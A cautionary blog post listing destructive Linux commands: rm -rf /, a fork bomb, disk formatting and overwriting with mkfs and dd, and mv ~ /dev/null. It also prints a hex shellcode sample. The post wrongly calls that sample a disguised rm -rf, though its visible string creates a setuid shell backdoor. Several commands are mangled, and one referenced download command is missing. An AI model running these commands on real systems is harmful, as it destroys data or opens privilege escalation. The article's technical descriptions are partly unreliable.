Deadly Linux Commands That You Should Never Use


Linux is not doubt, a very powerful Operating System. It serves you as a friend, without asking much in return. The power this Operating System offers you is unmatchable by any other OS out there. But this also leads to some awkward situations where you might end up mourning over loss of all your data, or might even have to carry your system to a repair shop. Why is it so? You will know it when you finish this post.

 

linux-deadly-commands

Linux is basically commands. Although there is complementary GUI on the top of it. But if you have Linux and you don’t work with commands on it, you either need to start doing it right now, or simply change your OS. Linux is a powerful OS that can achieve a hell lot of complex results in command mode than in GUI mode. That is why there are various courses on learning Linux. It plays the major role in web hosting, doesn’t that justify its power?

But where there is good, there is always an equal amount of evil. Where you can achieve a lot from its command line there is also lots that you can destroy. And in many cases, what you end up destroying is your data itself. And the best part is, you never know how did that happen? So here we are, to discuss some of the most dangerous Linux commands that you should be cautious of. Keep these commands in mind, the next time you run a script on your Linux system, because most of the time, these are all hidden.


So let’s get started with it:

 

  • rmrf/ – Deletes Everything!

Breaking it down: rm means remove, -rf means run ‘rm’ recursively (delete all files and folder within a folder), and the / means start from the root folder, that contains each and every file on your system.

Running this command will delete everything on your file system. And even on any file system that is connected to your PC either via USB or via network. Linux will not prompt or ask for your permission before carrying out this command. So be very careful with this command.

The rm command can also be used in many other ways like:-

rm-rf~ would delete everything in your home directory.

rm-rf.* would delete all your configuration files.

My Advice: – rm-rf should be a big no.

 

  • Disguised rm-rf

If the usual rm-rf was not enough for the cause. There is also a disguised version of the command. The command usually appears in hex format, and is hidden in scripts that you download over the internet. Here is a sample of the hex that can be found over the internet, (beware!!)

charesp[]__attribute__((section(“.text”)))/*e.s.prelease*/=

“\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″

“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″

“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″

“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″

“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″

“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp-p /bin/sh/tmp/.beyond;chmod4755/tmp/.beyond;”;

This code has the same effect as rm-rf/, that means it will delete all your files on your computer. So listen to our piece of advice and keep your distance from weird looking, hardly understandable scripts from the Internet.

 

  • :(){ :|: & };: – Fork Bomb

The following line is a simple-looking, but dangerous, bash function:

:(){ :|: & };:

This short line defines a shell function that creates new copies of itself. The process continually replicates itself, and its copies continually replicate themselves, quickly taking up all your CPU time and memory. This can cause your computer to freeze. It’s basically a denial-of-service attack.

Shell programming is very dangerous, especially when it can do such a harm.

 

  • ext4 /dev/sda1 – Formats a Hard Drive

Breaking it down: mkfs.ext4 creates a new file system of ext4 type on your system, /dev/sda1 refers to the main file system, the one consisting your system files.

Running this command will wipe off the data on your main drive and create a new empty drive in its place. Leaving you with an empty box good for nothing.

Another version of this command would be mkfs.ext3/dev/sdb2 which will delete everything on your other hard drive, deleting all your precious data which you managed not to save on system drive.

 

  • command > /dev/sda

This command will directly send all the data to your primary hard disk and write all the data onto it, thus damaging it, and filling up your hard drive that will cause numerous number of problems to your operating system as well.

 

  • ddif=/dev/random of=/dev/sda

This command is much like the one above, but the difference is that it will write all the junk and random stuff on your hard drive. And the next time you will switch it on, you will all types of junk cluttered out there.

 

  • mv ~ /dev/null

This command will move your home directory to an arbitrary location where you are sure to never find it again. Your home directory is moved to a ‘null’ location, a location do not exists but still exists. It is much like moving your directory to a black hole, where things go in, but never come out.

Breaking it down: mv means to move something, ~ represents your home directory, /dev/null is the path to null location (aka the black-hole)

 

This command will run a script by downloading it from the url in place and then sh command will run it if it is a bash command. You can in this way encounter a number of threats that are widely available on the internet ready to hack your system and steal your data. So be very careful with you do with scripts and commands like these. Generally it’s a bad practice, to randomly run commands that you have no idea about.

These are just a few of the ones of the all that there present all over the internet. We will keep updating this page with new ones as find more and more of them. But what lesson does this article give you? Am sure one of it is to be careful with scripts, commands or anything that you do on your Linux device. Make sure you know for what purpose that command is, and what effect it is going to have on your system. Do a thorough internet research on the commands that you have no knowledge of, because these may the ones that are actually harmful for your system and your data.

So take the advice of those who have encountered the wrath of these commands and make sure to stay away from them. (Yes, I ran rm-rf/ on my PC and then realized it was a bad idea)

LEAVE A REPLY

Please enter your comment!
Please enter your name here